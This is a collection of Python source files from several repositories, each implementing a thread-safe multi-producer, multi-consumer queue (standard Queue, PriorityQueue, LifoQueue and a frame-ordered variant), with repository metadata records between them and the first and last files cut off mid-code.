# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notifyAll()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if not block:
if self._full():
raise Full
elif timeout is None:
while self._full():
self.not_full.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._full():
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if self._empty():
raise Empty
elif timeout is None:
while self._empty():
self.not_empty.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._empty():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
| {
"repo_name": "sumpfgottheit/pdu1800_data_provider",
"path": "pygame64/pygame/threads/Py25Queue.py",
"copies": "25",
"size": "7759",
"license": "mit",
"hash": -5838520437558548000,
"line_mean": 34.9212962963,
"line_max": 81,
"alpha_frac": 0.5848691842,
"autogenerated": false,
"ratio": 4.580283353010626,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "perkinslr/pypyjs",
"path": "addedLibraries/Queue.py",
"copies": "1",
"size": "8514",
"license": "mit",
"hash": -3228419903237354500,
"line_mean": 34.1818181818,
"line_max": 85,
"alpha_frac": 0.5876203899,
"autogenerated": false,
"ratio": 4.404552509053285,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0008191599685934635,
"num_lines": 242
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
try:
import threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "la0rg/Genum",
"path": "GenumCore/vendor/Queue.py",
"copies": "1",
"size": "8582",
"license": "mit",
"hash": -3691937434828466700,
"line_mean": 33.4658634538,
"line_max": 85,
"alpha_frac": 0.5883243999,
"autogenerated": false,
"ratio": 4.410071942446043,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5498396342346044,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
try:
import threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Duplicate', 'Seen', 'ThreadedFrameQueue']
class Empty(Exception):
"Exception raised by ThreadedFrameQueue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by ThreadedFrameQueue.put(block=0)/put_nowait()."
pass
class Duplicate(Exception):
"Exception raised by ThreadedFrameQueue.put()."
pass
class Seen(Exception):
"Exception raised by ThreadedFrameQueue.put()."
pass
class ThreadedFrameQueue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self.most_recent_frame = -1
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def free_size(self):
"""Return the approximate free size of the queue (not reliable!)."""
self.mutex.acquire()
n = self.maxsize - self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, frame_number, data):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if (frame_number, data) in self.queue:
raise Duplicate
elif self.most_recent_frame >= frame_number:
raise Seen
while self.most_recent_frame + self.maxsize < frame_number:
self.not_full.wait()
self._put((frame_number, data))
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def get(self, frame_number):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
while self._qsize() == 0 or self.queue[0][0] != frame_number:
self.not_empty.wait()
item = self._get()
self.most_recent_frame = frame_number
self.not_full.notifyAll()
return item
finally:
self.not_empty.release()
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
| {
"repo_name": "meggers/pyflix",
"path": "client/ThreadedFrameQueue.py",
"copies": "1",
"size": "6955",
"license": "mit",
"hash": 3334621382346044000,
"line_mean": 35.2239583333,
"line_max": 81,
"alpha_frac": 0.6103522646,
"autogenerated": false,
"ratio": 4.317194289261328,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.010055271337590987,
"num_lines": 192
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
#try:
import threading as _threading
#except ImportError:
# import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue(object):
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a non-negative number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a non-negative number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "m4ns0ur/grumpy",
"path": "third_party/stdlib/Queue.py",
"copies": "5",
"size": "8584",
"license": "apache-2.0",
"hash": -1442671795651346200,
"line_mean": 34.1803278689,
"line_max": 85,
"alpha_frac": 0.5888863001,
"autogenerated": false,
"ratio": 4.399794976934905,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.7488681277034905,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time, sleep as _sleep
__all__ = ['Empty', 'Full', 'Queue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
def __init__(self, maxsize=0):
"""Initialize a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
try:
import thread
except ImportError:
import dummy_thread as thread
self._init(maxsize)
self.mutex = thread.allocate_lock()
self.esema = thread.allocate_lock()
self.esema.acquire()
self.fsema = thread.allocate_lock()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
if block:
if timeout is None:
# blocking, w/o timeout, i.e. forever
self.fsema.acquire()
elif timeout >= 0:
# waiting max. 'timeout' seconds.
# this code snipped is from threading.py: _Event.wait():
# Balancing act: We can't afford a pure busy loop, so we
# have to sleep; but if we sleep the whole timeout time,
# we'll be unresponsive. The scheme here sleeps very
# little at first, longer as time goes on, but never longer
# than 20 times per second (or the timeout time remaining).
delay = 0.0005 # 500 us -> initial delay of 1 ms
endtime = _time() + timeout
while True:
if self.fsema.acquire(0):
break
remaining = endtime - _time()
if remaining <= 0: #time is over and no slot was free
raise Full
delay = min(delay * 2, remaining, .05)
_sleep(delay) #reduce CPU usage by using a sleep
else:
raise ValueError("'timeout' must be a positive number")
elif not self.fsema.acquire(0):
raise Full
self.mutex.acquire()
release_fsema = True
try:
was_empty = self._empty()
self._put(item)
# If we fail before here, the empty state has
# not changed, so we can skip the release of esema
if was_empty:
self.esema.release()
# If we fail before here, the queue can not be full, so
# release_full_sema remains True
release_fsema = not self._full()
finally:
# Catching system level exceptions here (RecursionDepth,
# OutOfMemory, etc) - so do as little as possible in terms
# of Python calls.
if release_fsema:
self.fsema.release()
self.mutex.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
if block:
if timeout is None:
# blocking, w/o timeout, i.e. forever
self.esema.acquire()
elif timeout >= 0:
# waiting max. 'timeout' seconds.
# this code snipped is from threading.py: _Event.wait():
# Balancing act: We can't afford a pure busy loop, so we
# have to sleep; but if we sleep the whole timeout time,
# we'll be unresponsive. The scheme here sleeps very
# little at first, longer as time goes on, but never longer
# than 20 times per second (or the timeout time remaining).
delay = 0.0005 # 500 us -> initial delay of 1 ms
endtime = _time() + timeout
while 1:
if self.esema.acquire(0):
break
remaining = endtime - _time()
if remaining <= 0: #time is over and no element arrived
raise Empty
delay = min(delay * 2, remaining, .05)
_sleep(delay) #reduce CPU usage by using a sleep
else:
